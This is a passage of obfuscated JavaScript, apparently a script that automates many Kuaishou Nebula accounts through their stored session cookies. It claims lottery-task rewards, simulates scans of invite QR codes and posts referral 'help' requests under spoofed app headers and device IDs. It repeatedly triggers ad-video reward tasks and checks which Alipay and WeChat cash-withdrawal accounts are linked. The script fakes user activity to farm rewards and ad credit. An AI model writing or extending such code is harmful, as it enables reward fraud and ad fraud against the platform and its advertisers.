async ["luckdrawTasks"]() {
let c = "https://activity.e.kuaishou.com/rest/r/game/tasks",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
for (let Y of S["data"]["dailyTasks"]) {
Y["taskState"] == 1 && (await _0x3de8b8["wait"](200), await this["luckdrawTasksReward"](Y));
}
for (let j of S["data"]["growthTasks"]) {
j["taskState"] == 1 && (await _0x3de8b8["wait"](200), await this["luckdrawTasksReward"](j));
}
} else {
console["log"]("账号[" + this['name'] + "]查询抽奖页任务失败:" + S["error_msg"]);
}
}
async ["luckdrawTasksReward"](T) {
let p = "https://activity.e.kuaishou.com/rest/r/game/task/reward-receive?taskName=" + T["taskName"],
C = '',
S = _0x495d61(p, this["cookie"], C);
await _0x39a23b("get", S);
let a = _0x1a0963;
if (!a) {
return;
}
try {
a['result'] == 1 ? console["log"]("账号[" + this["name"] + "]领取抽奖任务[" + T["taskTitle"] + "]奖励获得" + a["data"]["popUp"]["taskRewardName"]) : console["log"]("账号[" + this["name"] + "]领取抽奖任务[" + T["taskTitle"] + "]奖励失败:" + a["error_msg"]);
} catch(err){
console.log("奖励领取失败");
}
}
async ["helpInvite"](T) {
let p = T["split"]('&'),
C = p[0],
S = p[1],
a = "https://nebula.kuaishou.com/rest/n/nebula/qrcode?version=1.2.0",
Y = '',
j = _0x495d61(a, this["cookie"], Y);
j['headers']["Referer"] = "https://nebula.kuaishou.com/fission/face-qrcode?fid=" + C + '&shareToken=' + S + "&source=qrcode";
await _0x39a23b("get", j);
let Z = _0x1a0963;
if (!Z) {
return;
}
!(Z["result"] == 1) && console["log"]("账号[" + this["name"] + "]邀请失败:" + Z["error_msg"]);
}
async ["helpPackage"](T, c) {
let C = {
'url': "https://ug-fission.kuaishou.com/rest/n/darwin/bargain/overview?version=2.1.0",
'body': "{\"fid\":\"895255750\",\"cc\":\"share_wxms\",\"followRefer\":\"151\",\"code\":\"" + T + "\",\"shareMethod\":\"TOKEN\",\"kpn\":\"NEBULA\",\"subBiz\":\"BARGAIN\",\"shareId\":\"16905401129783\",\"shareMode\":\"SYSTEM\",\"noBackNavi\":\"true\",\"originShareId\":\"16905401129783\",\"useMerchantWeb\":\"1\",\"layoutType\":\"4\",\"shareObjectId\":" + JSON["stringify"]("{\"teamId\":\"\",\"packetId\":\"" + c + "\"}") + ",\"shareUrlOpened\":\"0\",\"hyId\":\"bargain\",\"timestamp\":" + +new Date() + ",\"pageCode\":1,\"adamA\":0,\"adamB\":0}",
'headers': {
'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36",
'Cookie': "kpn=NEBULA; kpf=ANDROID_PHONE; did=; " + Math["floor"](Math["random"]() * 1000 + 1) + " ANDROID_ff60a387f6ba8904; " + this['cookie'] + "; c=XIAOMI; ver=10.2; appver=10.2.41.3075; language=zh-cn; ",
'Content-Type': "application/json",
'Origin': "https://ug-fission.kuaishou.com",
'X-Requested-With': "com.kuaishou.nebula",
'Sec-Fetch-Site': "same-origin",
'Sec-Fetch-Mode': "cors",
'Sec-Fetch-Dest': "empty",
'Referer': "https://ug-fission.kuaishou.com/bargain/?fid=895255750&cc=share_wxms&followRefer=151&code=" + T + "&shareMethod=TOKEN&kpn=NEBULA&subBiz=BARGAIN&shareId=16905401129783&shareMode=SYSTEM&noBackNavi=true&originShareId=16905401129783&useMerchantWeb=1&layoutType=4&shareObjectId=%7B%22teamId%22%3A%22%22,%22packetId%22%3A%22" + c + "%22%7D&shareUrlOpened=0&hyId=bargain×tamp=" + +new Date(),
'Accept-Language': "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
}
};
await _0x39a23b("post", C);
let S = _0x1a0963;
if (!S) {
return;
}
}
async ['helpScan'](T) {
let p = T["split"]('&'),
C = p[0],
S = p[1];
if (C == this["userId"]) {
return;
}
let a = "https://api.kuaishouzt.com/rest/zt/share/show/any",
Y = "theme=light&sdkVersion=1.14.0.4&kpf=ANDROID_PHONE&shareMessage=https%3A%2F%2Fnicdd.get666bjrqu985xvp14v.com%2Ff%2F" + S + "%3FlayoutType%3D4&kpn=NEBULA&launchState=hotLaunch&sessionId=ac165e40-48bd-42de-9fc5-b250d7eb983c&extTransientParams=%7B%22source%22%3A%22userScanCamera%22%7D",
j = _0x495d61(a, this["cookie"], Y);
await _0x39a23b("post", j);
let Z = _0x1a0963;
if (!Z) {
return;
}
Z["result"] == 1 ? (await _0x3de8b8["wait"](100), await this["helpInvite"](T)) : console["log"]("账号[" + this["name"] + "]模拟邀请二维码扫描失败:" + Z["error_msg"]);
}
async ["bindInfo"]() {
let c = "https://www.kuaishoupay.com/pay/account/h5/provider/bind_info",
p = "account_group_key=NEBULA_CASH_ACCOUNT&bind_page_type=3",
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("post", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == "SUCCESS") {
let Y = "未绑定支付宝",
j = "未绑定微信";
S["alipay_bind"] == true && (this["bindAlipay"] = true, this["alipay"] = S['alipay_nick_name'], Y = "已绑定支付宝[" + S["alipay_nick_name"] + ']');
S["wechat_bind"] == true && (this["bindWechat"] = true, this["wechat"] = S["wechat_nick_name"], j = "已绑定微信[" + S["wechat_nick_name"] + ']');
console["log"]("账号[" + this["name"] + ']' + j + ',' + Y);
} else {
console["log"]("账号[" + this["name"] + "]查询提现账号绑定情况失败:" + S["error_msg"]);
}
}
async ['accountInfo']() {
let c = "https://www.kuaishoupay.com/pay/account/h5/withdraw/account_info",
p = "account_group_key=NEBULA_CASH_ACCOUNT&providers=",
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("post", C);
let S = _0x1a0963;
if (!S) {
return;
}
S["result"] == "SUCCESS" ? this["needSms"] = S["need_mobile_code"] : console["log"]("账号[" + this["name"] + "]查询账号提现情况失败:" + S["error_msg"]);
}
}
!(async () => {
if (typeof $request !== "undefined") {
await _0x13d82d();
} else {
if (!(await _0x2dc359())) {
return;
}
console["log"]("============================");
console["log"]("\n============== 登录 ==============");
for (let a of _0x431ea3) {
await a["getUserInfo"]();
await _0x3de8b8["wait"](500);
}
let p = _0x431ea3["filter"](j => j["valid"] == true);
if (p["length"] == 0) {
return;
}
for (let Z of p) {
console['log']("\n=========== " + Z["name"] + " ===========");
await Z["getSignInfo"]();
await _0x3de8b8["wait"](200);
await Z["openBox"](false);
await _0x3de8b8["wait"](200);
await Z["taskList"]();
await _0x3de8b8["wait"](200);
await Z["luckydrawSign"]();
await _0x3de8b8["wait"](200);
if (Z["hasLuckydraw"] == true) {
await Z["luckdrawTimerInfo"]();
await _0x3de8b8["wait"](200);
await Z["luckdrawTasks"]();
await _0x3de8b8["wait"](200);
await Z["luckdrawInfo"]();
await _0x3de8b8["wait"](200);
}
if (Z["task"][_0x1e4967["luckydraw"]]["needRun"]) {
for (let U = 0; U < Z["task"][_0x1e4967["luckydraw"]]["num"]; U++) {
_0x20a9d7 < 13 ? (await Z["ksNeoAdParam"](_0x10d9f8["luckdrawVideo_161_213"]), await _0x3de8b8["wait"](200), await Z["ksNeoAdParam"](_0x10d9f8["luckdrawVideo_11_213"]), await _0x3de8b8["wait"](200)) : (await Z["ksNeoAdParam"](_0x10d9f8["luckdrawVideo_161_100"]), await _0x3de8b8["wait"](200), await Z["ksNeoAdParam"](_0x10d9f8["luckdrawVideo_11_100"]), await _0x3de8b8['wait'](200));
}
}
if (Z["task"][_0x1e4967['ad']]['needRun']) {
for (let J = 0; J < Z["task"][_0x1e4967['ad']]["num"]; J++) {
await Z["ksAdParam"](_0x351e94["ad1"]);
await _0x3de8b8["wait"](200);
J != Z["task"][_0x1e4967['ad']]["num"] - 1 && (await _0x3de8b8["wait"](2000));
}
}
if (Z["task"][_0x1e4967['gj']]["needRun"]) {
for (let V = 0; V < Z["task"][_0x1e4967['gj']]["num"]; V++) {
await Z["ksgj"]()[[]];
await _0x3de8b8["wait"](200);
}
}
if (Z["task"][_0x1e4967["live"]]["needRun"]) {
for (let E = 0; E < Z["task"][_0x1e4967["live"]]["num"]; E++) {
await Z["ksNeoAdParam"](_0x10d9f8["liveVideo_75"]);
await _0x3de8b8['wait'](200);
}
}
}